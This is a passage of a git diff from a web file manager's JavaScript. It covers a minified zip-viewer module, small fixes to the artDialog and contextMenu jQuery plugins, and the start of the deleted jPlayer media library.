r=''+date(LNG.time_type,t.mtime)+"";r+=''+core.fileSize(t.size)+"",r+='',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path); +ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t){var i=template.compile(tpl_zipview),a=i({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),u(t.getNodeByParam("index","-1",null))},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(v(core.pathThis(e),a.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"); \ No newline at end of file diff --git a/static/js/lib/artDialog/jquery-artDialog.js b/static/js/lib/artDialog/jquery-artDialog.js index fd5c4be..e57bb02 100755 --- a/static/js/lib/artDialog/jquery-artDialog.js +++ b/static/js/lib/artDialog/jquery-artDialog.js @@ -139,6 +139,8 @@ artDialog.fn = artDialog.prototype = { //没有title if(!config.title){ //DOM.wrap.find('.dialogShow').removeClass('dialogShow'); + }else{ + config.title = urlDecode(config.title);//正常会多一次,暂忽略此bug } //是否可以调节大小 对应样式处理 if (config.simple && config.title != false) { @@ -228,6 +230,7 @@ artDialog.fn = artDialog.prototype = { $content.html(msg) $frame = $content.find('iframe'); if($frame.length>0){ + //$frame.get(0).src = "http://baidu.com"; $content.append('
        loading..
        '); $frame.css('display','none'); $frame.load(function(){ @@ -326,33 +329,36 @@ artDialog.fn = artDialog.prototype = { } var DOM = this.DOM, title = DOM.title, - font_size = parseInt(title.css("font-size")), - title_str = title.data('data-title'), - default_width = 200, //其他占用 - max_width = title.width(); - var str_width = this.string_width(title_str,font_size); - if( str_width - var point = title_str.lastIndexOf('>')+1; - str_pre = title_str.substr(0,point); - title_str = title_str.substr(point) + var strPre=''; + if(titleStr.substr(0,1)=="<"){// + var point = titleStr.lastIndexOf('>')+1; + strPre = titleStr.substr(0,point); + titleStr = titleStr.substr(point) } - while(this.string_width(title_str,font_size)>max_width-default_width){ - title_str= title_str.substr(1); - if(title_str.length<10){ + + while(this.string_width(titleStr,fontSize)> maxWidth - defaultWidth){ + titleStr= titleStr.substr(1); + if(titleStr.length<10){ break; } } - if($(title).text() == title_str){ + if(htmlRemoveTags(titleBefore) == titleStr){ + title.html(titleBefore); return; } - title.html(str_pre+"..."+title_str); + title.html(strPre+"..."+titleStr); }, /** @@ -1023,8 +1029,8 @@ artDialog.fn = artDialog.prototype = { header_height = $wrap.find('.aui_header').height() } $main.css({ - 'height':(_$window.height()-header_height-5) + 'px' - }); + 'height':(_$window.height()-header_height-0) + 'px' + });// -5 } that.reset_title_length(); }, diff --git a/static/js/lib/contextMenu/jquery-contextMenu.js b/static/js/lib/contextMenu/jquery-contextMenu.js index 67bfb89..4f5479c 100755 --- a/static/js/lib/contextMenu/jquery-contextMenu.js +++ b/static/js/lib/contextMenu/jquery-contextMenu.js @@ -137,9 +137,9 @@ var // currently active contextMenu trigger } //change by warlee; - //+8 避免按下hover菜单弹起后响应菜单动作 + //+10 避免按下hover菜单弹起后响应菜单动作 if (offset.left + width > right) { - offset.left -= width+8; + offset.left -= width+10; } opt.$menu.css(offset); }, @@ -151,7 +151,7 @@ var // currently active contextMenu trigger // http://www.runoob.com/jqueryui/api-position.html $menu.css('display', 'block').position({ my: "left top", - at: "right top-9",//change by warlee; -9 避免点不到问题 + at: "right-2 top-9",//change by warlee; -10 避免点不到问题 of: this, collision: "flipfit fit" }).css('display', ''); @@ -162,8 +162,6 @@ var // currently active contextMenu trigger left: this.outerWidth() }; offset.top += offset.top-10; - console.log(offset); - $menu.css(offset); } }, diff --git a/static/js/lib/jPlayer/jquery.jplayer.js b/static/js/lib/jPlayer/jquery.jplayer.js deleted file mode 100755 index d9a5db6..0000000 --- a/static/js/lib/jPlayer/jquery.jplayer.js +++ /dev/null @@ -1,3507 +0,0 @@ -/* - * jPlayer Plugin for jQuery JavaScript Library - * http://www.jplayer.org - * - * Copyright (c) 2009 - 2014 Happyworm Ltd - * Licensed under the MIT license. - * http://opensource.org/licenses/MIT - * - * Author: Mark J Panaghiston - * Version: 2.9.2 - * Date: 14th December 2014 - */ - -/* Support for Zepto 1.0 compiled with optional data module. - * For AMD or NODE/CommonJS support, you will need to manually switch the related 2 lines in the code below. - * Search terms: "jQuery Switch" and "Zepto Switch" - */ - -(function (root, factory) { - if (typeof define === 'function' && define.amd) { - // AMD. Register as an anonymous module. - define(['jquery'], factory); // jQuery Switch - // define(['zepto'], factory); // Zepto Switch - } else if (typeof exports === 'object') { - // Node/CommonJS - factory(require('jquery')); // jQuery Switch - //factory(require('zepto')); // Zepto Switch - } else { - // Browser globals - if(root.jQuery) { // Use jQuery if available - factory(root.jQuery); - } else { // Otherwise, use Zepto - factory(root.Zepto); - } - } -}(this, function ($, undefined) { - - // Adapted from jquery.ui.widget.js (1.8.7): $.widget.bridge - Tweaked $.data(this,XYZ) to $(this).data(XYZ) for Zepto - $.fn.jPlayer = function( options ) { - var name = "jPlayer"; - var isMethodCall = typeof options === "string", - args = Array.prototype.slice.call( arguments, 1 ), - returnValue = this; - - // allow multiple hashes to be passed on init - options = !isMethodCall && args.length ? - $.extend.apply( null, [ true, options ].concat(args) ) : - options; - - // prevent calls to internal methods - if ( isMethodCall && options.charAt( 0 ) === "_" ) { - return returnValue; - } - - if ( isMethodCall ) { - this.each(function() { - var instance = $(this).data( name ), - methodValue = instance && $.isFunction( instance[options] ) ? - instance[ options ].apply( instance, args ) : - instance; - if ( methodValue !== instance && methodValue !== undefined ) { - returnValue = methodValue; - return false; - } - }); - } else { - this.each(function() { - var instance = $(this).data( name ); - if ( instance ) { - // instance.option( options || {} )._init(); // Orig jquery.ui.widget.js code: Not recommend for jPlayer. ie., Applying new options to an existing instance (via the jPlayer constructor) and performing the _init(). The _init() is what concerns me. It would leave a lot of event handlers acting on jPlayer instance and the interface. - instance.option( options || {} ); // The new constructor only changes the options. Changing options only has basic support atm. - } else { - $(this).data( name, new $.jPlayer( options, this ) ); - } - }); - } - - return returnValue; - }; - - $.jPlayer = function( options, element ) { - // allow instantiation without initializing for simple inheritance - if ( arguments.length ) { - this.element = $(element); - this.options = $.extend(true, {}, - this.options, - options - ); - var self = this; - this.element.bind( "remove.jPlayer", function() { - self.destroy(); - }); - this._init(); - } - }; - // End of: (Adapted from jquery.ui.widget.js (1.8.7)) - - // Zepto is missing one of the animation methods. - if(typeof $.fn.stop !== 'function') { - $.fn.stop = function() {}; - } - - // Emulated HTML5 methods and properties - $.jPlayer.emulateMethods = "load play pause"; - $.jPlayer.emulateStatus = "src readyState networkState currentTime duration paused ended playbackRate"; - $.jPlayer.emulateOptions = "muted volume"; - - // Reserved event names generated by jPlayer that are not part of the HTML5 Media element spec - $.jPlayer.reservedEvent = "ready flashreset resize repeat error warning"; - - // Events generated by jPlayer - $.jPlayer.event = {}; - $.each( - [ - 'ready', - 'setmedia', // Fires when the media is set - 'flashreset', // Similar to the ready event if the Flash solution is set to display:none and then shown again or if it's reloaded for another reason by the browser. For example, using CSS position:fixed on Firefox for the full screen feature. - 'resize', // Occurs when the size changes through a full/restore screen operation or if the size/sizeFull options are changed. - 'repeat', // Occurs when the repeat status changes. Usually through clicks on the repeat button of the interface. - 'click', // Occurs when the user clicks on one of the following: poster image, html video, flash video. - 'error', // Event error code in event.jPlayer.error.type. See $.jPlayer.error - 'warning', // Event warning code in event.jPlayer.warning.type. See $.jPlayer.warning - - // Other events match HTML5 spec. - 'loadstart', - 'progress', - 'suspend', - 'abort', - 'emptied', - 'stalled', - 'play', - 'pause', - 'loadedmetadata', - 'loadeddata', - 'waiting', - 'playing', - 'canplay', - 'canplaythrough', - 'seeking', - 'seeked', - 'timeupdate', - 'ended', - 'ratechange', - 'durationchange', - 'volumechange' - ], - function() { - $.jPlayer.event[ this ] = 'jPlayer_' + this; - } - ); - - $.jPlayer.htmlEvent = [ // These HTML events are bubbled through to the jPlayer event, without any internal action. - "loadstart", - // "progress", // jPlayer uses internally before bubbling. - // "suspend", // jPlayer uses internally before bubbling. - "abort", - // "error", // jPlayer uses internally before bubbling. - "emptied", - "stalled", - // "play", // jPlayer uses internally before bubbling. - // "pause", // jPlayer uses internally before bubbling. - "loadedmetadata", - // "loadeddata", // jPlayer uses internally before bubbling. - // "waiting", // jPlayer uses internally before bubbling. - // "playing", // jPlayer uses internally before bubbling. - "canplay", - "canplaythrough" - // "seeking", // jPlayer uses internally before bubbling. - // "seeked", // jPlayer uses internally before bubbling. - // "timeupdate", // jPlayer uses internally before bubbling. - // "ended", // jPlayer uses internally before bubbling. - // "ratechange" // jPlayer uses internally before bubbling. - // "durationchange" // jPlayer uses internally before bubbling. - // "volumechange" // jPlayer uses internally before bubbling. - ]; - - $.jPlayer.pause = function() { - $.jPlayer.prototype.destroyRemoved(); - $.each($.jPlayer.prototype.instances, function(i, element) { - if(element.data("jPlayer").status.srcSet) { // Check that media is set otherwise would cause error event. - element.jPlayer("pause"); - } - }); - }; - - // Default for jPlayer option.timeFormat - $.jPlayer.timeFormat = { - showHour: false, - showMin: true, - showSec: true, - padHour: false, - padMin: true, - padSec: true, - sepHour: ":", - sepMin: ":", - sepSec: "" - }; - var ConvertTime = function() { - this.init(); - }; - ConvertTime.prototype = { - init: function() { - this.options = { - timeFormat: $.jPlayer.timeFormat - }; - }, - time: function(s) { // function used on jPlayer.prototype._convertTime to enable per instance options. - s = (s && typeof s === 'number') ? s : 0; - - var myTime = new Date(s * 1000), - hour = myTime.getUTCHours(), - min = this.options.timeFormat.showHour ? myTime.getUTCMinutes() : myTime.getUTCMinutes() + hour * 60, - sec = this.options.timeFormat.showMin ? myTime.getUTCSeconds() : myTime.getUTCSeconds() + min * 60, - strHour = (this.options.timeFormat.padHour && hour < 10) ? "0" + hour : hour, - strMin = (this.options.timeFormat.padMin && min < 10) ? "0" + min : min, - strSec = (this.options.timeFormat.padSec && sec < 10) ? "0" + sec : sec, - strTime = ""; - - strTime += this.options.timeFormat.showHour ? strHour + this.options.timeFormat.sepHour : ""; - strTime += this.options.timeFormat.showMin ? strMin + this.options.timeFormat.sepMin : ""; - strTime += this.options.timeFormat.showSec ? strSec + this.options.timeFormat.sepSec : ""; - - return strTime; - } - }; - var myConvertTime = new ConvertTime(); - $.jPlayer.convertTime = function(s) { - return myConvertTime.time(s); - }; - - // Adapting jQuery 1.4.4 code for jQuery.browser. Required since jQuery 1.3.2 does not detect Chrome as webkit. - $.jPlayer.uaBrowser = function( userAgent ) { - var ua = userAgent.toLowerCase(); - - // Useragent RegExp - var rwebkit = /(webkit)[ \/]([\w.]+)/; - var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/; - var rmsie = /(msie) ([\w.]+)/; - var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/; - - var match = rwebkit.exec( ua ) || - ropera.exec( ua ) || - rmsie.exec( ua ) || - ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) || - []; - - return { browser: match[1] || "", version: match[2] || "0" }; - }; - - // Platform sniffer for detecting mobile devices - $.jPlayer.uaPlatform = function( userAgent ) { - var ua = userAgent.toLowerCase(); - - // Useragent RegExp - var rplatform = /(ipad|iphone|ipod|android|blackberry|playbook|windows ce|webos)/; - var rtablet = /(ipad|playbook)/; - var randroid = /(android)/; - var rmobile = /(mobile)/; - - var platform = rplatform.exec( ua ) || []; - var tablet = rtablet.exec( ua ) || - !rmobile.exec( ua ) && randroid.exec( ua ) || - []; - - if(platform[1]) { - platform[1] = platform[1].replace(/\s/g, "_"); // Change whitespace to underscore. Enables dot notation. - } - - return { platform: platform[1] || "", tablet: tablet[1] || "" }; - }; - - $.jPlayer.browser = { - }; - $.jPlayer.platform = { - }; - - var browserMatch = $.jPlayer.uaBrowser(navigator.userAgent); - if ( browserMatch.browser ) { - $.jPlayer.browser[ browserMatch.browser ] = true; - $.jPlayer.browser.version = browserMatch.version; - } - var platformMatch = $.jPlayer.uaPlatform(navigator.userAgent); - if ( platformMatch.platform ) { - $.jPlayer.platform[ platformMatch.platform ] = true; - $.jPlayer.platform.mobile = !platformMatch.tablet; - $.jPlayer.platform.tablet = !!platformMatch.tablet; - } - - // Internet Explorer (IE) Browser Document Mode Sniffer. Based on code at: - // http://msdn.microsoft.com/en-us/library/cc288325%28v=vs.85%29.aspx#GetMode - $.jPlayer.getDocMode = function() { - var docMode; - if ($.jPlayer.browser.msie) { - if (document.documentMode) { // IE8 or later - docMode = document.documentMode; - } else { // IE 5-7 - docMode = 5; // Assume quirks mode unless proven otherwise - if (document.compatMode) { - if (document.compatMode === "CSS1Compat") { - docMode = 7; // standards mode - } - } - } - } - return docMode; - }; - $.jPlayer.browser.documentMode = $.jPlayer.getDocMode(); - - $.jPlayer.nativeFeatures = { - init: function() { - - /* Fullscreen function naming influenced by W3C naming. - * No support for: Mozilla Proposal: https://wiki.mozilla.org/Gecko:FullScreenAPI - */ - - var d = document, - v = d.createElement('video'), - spec = { - // http://www.w3.org/TR/fullscreen/ - w3c: [ - 'fullscreenEnabled', - 'fullscreenElement', - 'requestFullscreen', - 'exitFullscreen', - 'fullscreenchange', - 'fullscreenerror' - ], - // https://developer.mozilla.org/en-US/docs/DOM/Using_fullscreen_mode - moz: [ - 'mozFullScreenEnabled', - 'mozFullScreenElement', - 'mozRequestFullScreen', - 'mozCancelFullScreen', - 'mozfullscreenchange', - 'mozfullscreenerror' - ], - // http://developer.apple.com/library/safari/#documentation/WebKit/Reference/ElementClassRef/Element/Element.html - // http://developer.apple.com/library/safari/#documentation/UserExperience/Reference/DocumentAdditionsReference/DocumentAdditions/DocumentAdditions.html - webkit: [ - '', - 'webkitCurrentFullScreenElement', - 'webkitRequestFullScreen', - 'webkitCancelFullScreen', - 'webkitfullscreenchange', - '' - ], - // http://developer.apple.com/library/safari/#documentation/AudioVideo/Reference/HTMLVideoElementClassReference/HTMLVideoElement/HTMLVideoElement.html - // https://developer.apple.com/library/safari/samplecode/HTML5VideoEventFlow/Listings/events_js.html#//apple_ref/doc/uid/DTS40010085-events_js-DontLinkElementID_5 - // Events: 'webkitbeginfullscreen' and 'webkitendfullscreen' - webkitVideo: [ - 'webkitSupportsFullscreen', - 'webkitDisplayingFullscreen', - 'webkitEnterFullscreen', - 'webkitExitFullscreen', - '', - '' - ], - ms: [ - '', - 'msFullscreenElement', - 'msRequestFullscreen', - 'msExitFullscreen', - 'MSFullscreenChange', - 'MSFullscreenError' - ] - }, - specOrder = [ - 'w3c', - 'moz', - 'webkit', - 'webkitVideo', - 'ms' - ], - fs, i, il; - - this.fullscreen = fs = { - support: { - w3c: !!d[spec.w3c[0]], - moz: !!d[spec.moz[0]], - webkit: typeof d[spec.webkit[3]] === 'function', - webkitVideo: typeof v[spec.webkitVideo[2]] === 'function', - ms: typeof v[spec.ms[2]] === 'function' - }, - used: {} - }; - - // Store the name of the spec being used and as a handy boolean. - for(i = 0, il = specOrder.length; i < il; i++) { - var n = specOrder[i]; - if(fs.support[n]) { - fs.spec = n; - fs.used[n] = true; - break; - } - } - - if(fs.spec) { - var s = spec[fs.spec]; - fs.api = { - fullscreenEnabled: true, - fullscreenElement: function(elem) { - elem = elem ? elem : d; // Video element required for webkitVideo - return elem[s[1]]; - }, - requestFullscreen: function(elem) { - return elem[s[2]](); // Chrome and Opera want parameter (Element.ALLOW_KEYBOARD_INPUT) but Safari fails if flag used. - }, - exitFullscreen: function(elem) { - elem = elem ? elem : d; // Video element required for webkitVideo - return elem[s[3]](); - } - }; - fs.event = { - fullscreenchange: s[4], - fullscreenerror: s[5] - }; - } else { - fs.api = { - fullscreenEnabled: false, - fullscreenElement: function() { - return null; - }, - requestFullscreen: function() {}, - exitFullscreen: function() {} - }; - fs.event = {}; - } - } - }; - $.jPlayer.nativeFeatures.init(); - - // The keyboard control system. - - // The current jPlayer instance in focus. - $.jPlayer.focus = null; - - // The list of element node names to ignore with key controls. - $.jPlayer.keyIgnoreElementNames = "A INPUT TEXTAREA SELECT BUTTON"; - - // The function that deals with key presses. - var keyBindings = function(event) { - var f = $.jPlayer.focus, - ignoreKey; - - // A jPlayer instance must be in focus. ie., keyEnabled and the last one played. - if(f) { - // What generated the key press? - $.each( $.jPlayer.keyIgnoreElementNames.split(/\s+/g), function(i, name) { - // The strings should already be uppercase. - if(event.target.nodeName.toUpperCase() === name.toUpperCase()) { - ignoreKey = true; - return false; // exit each. - } - }); - if(!ignoreKey) { - // See if the key pressed matches any of the bindings. - $.each(f.options.keyBindings, function(action, binding) { - // The binding could be a null when the default has been disabled. ie., 1st clause in if() - if( - (binding && $.isFunction(binding.fn)) && - ((typeof binding.key === 'number' && event.which === binding.key) || - (typeof binding.key === 'string' && event.key === binding.key)) - ) { - event.preventDefault(); // Key being used by jPlayer, so prevent default operation. - binding.fn(f); - return false; // exit each. - } - }); - } - } - }; - - $.jPlayer.keys = function(en) { - var event = "keydown.jPlayer"; - // Remove any binding, just in case enabled more than once. - $(document.documentElement).unbind(event); - if(en) { - $(document.documentElement).bind(event, keyBindings); - } - }; - - // Enable the global key control handler ready for any jPlayer instance with the keyEnabled option enabled. - $.jPlayer.keys(true); - - $.jPlayer.prototype = { - count: 0, // Static Variable: Change it via prototype. - version: { // Static Object - script: "2.9.2", - needFlash: "2.9.0", - flash: "unknown" - }, - options: { // Instanced in $.jPlayer() constructor - swfPath: "js", // Path to jquery.jplayer.swf. Can be relative, absolute or server root relative. - solution: "html, flash", // Valid solutions: html, flash, aurora. Order defines priority. 1st is highest, - supplied: "mp3", // Defines which formats jPlayer will try and support and the priority by the order. 1st is highest, - auroraFormats: "wav", // List the aurora.js codecs being loaded externally. Its core supports "wav". Specify format in jPlayer context. EG., The aac.js codec gives the "m4a" format. - preload: 'metadata', // HTML5 Spec values: none, metadata, auto. - volume: 0.8, // The volume. Number 0 to 1. - muted: false, - remainingDuration: false, // When true, the remaining time is shown in the duration GUI element. - toggleDuration: false, // When true, clicks on the duration toggle between the duration and remaining display. - captureDuration: true, // When true, clicks on the duration are captured and no longer propagate up the DOM. - playbackRate: 1, - defaultPlaybackRate: 1, - minPlaybackRate: 0.5, - maxPlaybackRate: 4, - wmode: "opaque", // Valid wmode: window, transparent, opaque, direct, gpu. - backgroundColor: "#000000", // To define the jPlayer div and Flash background color. - cssSelectorAncestor: "#jp_container_1", - cssSelector: { // * denotes properties that should only be required when video media type required. _cssSelector() would require changes to enable splitting these into Audio and Video defaults. - videoPlay: ".jp-video-play", // * - play: ".jp-play", - pause: ".jp-pause", - stop: ".jp-stop", - seekBar: ".jp-seek-bar", - playBar: ".jp-play-bar", - mute: ".jp-mute", - unmute: ".jp-unmute", - volumeBar: ".jp-volume-bar", - volumeBarValue: ".jp-volume-bar-value", - volumeMax: ".jp-volume-max", - playbackRateBar: ".jp-playback-rate-bar", - playbackRateBarValue: ".jp-playback-rate-bar-value", - currentTime: ".jp-current-time", - duration: ".jp-duration", - title: ".jp-title", - fullScreen: ".jp-full-screen", // * - restoreScreen: ".jp-restore-screen", // * - repeat: ".jp-repeat", - repeatOff: ".jp-repeat-off", - gui: ".jp-gui", // The interface used with autohide feature. - noSolution: ".jp-no-solution" // For error feedback when jPlayer cannot find a solution. - }, - stateClass: { // Classes added to the cssSelectorAncestor to indicate the state. - playing: "jp-state-playing", - seeking: "jp-state-seeking", - muted: "jp-state-muted", - looped: "jp-state-looped", - fullScreen: "jp-state-full-screen", - noVolume: "jp-state-no-volume" - }, - useStateClassSkin: false, // A state class skin relies on the state classes to change the visual appearance. The single control toggles the effect, for example: play then pause, mute then unmute. - autoBlur: true, // GUI control handlers will drop focus after clicks. - smoothPlayBar: false, // Smooths the play bar transitions, which affects clicks and short media with big changes per second. - fullScreen: false, // Native Full Screen - fullWindow: false, - autohide: { - restored: false, // Controls the interface autohide feature. - full: true, // Controls the interface autohide feature. - fadeIn: 200, // Milliseconds. The period of the fadeIn anim. - fadeOut: 600, // Milliseconds. The period of the fadeOut anim. - hold: 1000 // Milliseconds. The period of the pause before autohide beings. - }, - loop: false, - repeat: function(event) { // The default jPlayer repeat event handler - if(event.jPlayer.options.loop) { - $(this).unbind(".jPlayerRepeat").bind($.jPlayer.event.ended + ".jPlayer.jPlayerRepeat", function() { - $(this).jPlayer("play"); - }); - } else { - $(this).unbind(".jPlayerRepeat"); - } - }, - nativeVideoControls: { - // Works well on standard browsers. - // Phone and tablet browsers can have problems with the controls disappearing. - }, - noFullWindow: { - msie: /msie [0-6]\./, - ipad: /ipad.*?os [0-4]\./, - iphone: /iphone/, - ipod: /ipod/, - android_pad: /android [0-3]\.(?!.*?mobile)/, - android_phone: /(?=.*android)(?!.*chrome)(?=.*mobile)/, - blackberry: /blackberry/, - windows_ce: /windows ce/, - iemobile: /iemobile/, - webos: /webos/ - }, - noVolume: { - ipad: /ipad/, - iphone: /iphone/, - ipod: /ipod/, - android_pad: /android(?!.*?mobile)/, - android_phone: /android.*?mobile/, - blackberry: /blackberry/, - windows_ce: /windows ce/, - iemobile: /iemobile/, - webos: /webos/, - playbook: /playbook/ - }, - timeFormat: { - // Specific time format for this instance. The supported options are defined in $.jPlayer.timeFormat - // For the undefined options we use the default from $.jPlayer.timeFormat - }, - keyEnabled: false, // Enables keyboard controls. - audioFullScreen: false, // Enables keyboard controls to enter full screen with audio media. - keyBindings: { // The key control object, defining the key codes and the functions to execute. - // The parameter, f = $.jPlayer.focus, will be checked truethy before attempting to call any of these functions. - // Properties may be added to this object, in key/fn pairs, to enable other key controls. EG, for the playlist add-on. - play: { - key: 80, // p - fn: function(f) { - if(f.status.paused) { - f.play(); - } else { - f.pause(); - } - } - }, - fullScreen: { - key: 70, // f - fn: function(f) { - if(f.status.video || f.options.audioFullScreen) { - f._setOption("fullScreen", !f.options.fullScreen); - } - } - }, - muted: { - key: 77, // m - fn: function(f) { - f._muted(!f.options.muted); - } - }, - volumeUp: { - key: 190, // . - fn: function(f) { - f.volume(f.options.volume + 0.1); - } - }, - volumeDown: { - key: 188, // , - fn: function(f) { - f.volume(f.options.volume - 0.1); - } - }, - loop: { - key: 76, // l - fn: function(f) { - f._loop(!f.options.loop); - } - } - }, - verticalVolume: false, // Calculate volume from the bottom of the volume bar. Default is from the left. Also volume affects either width or height. - 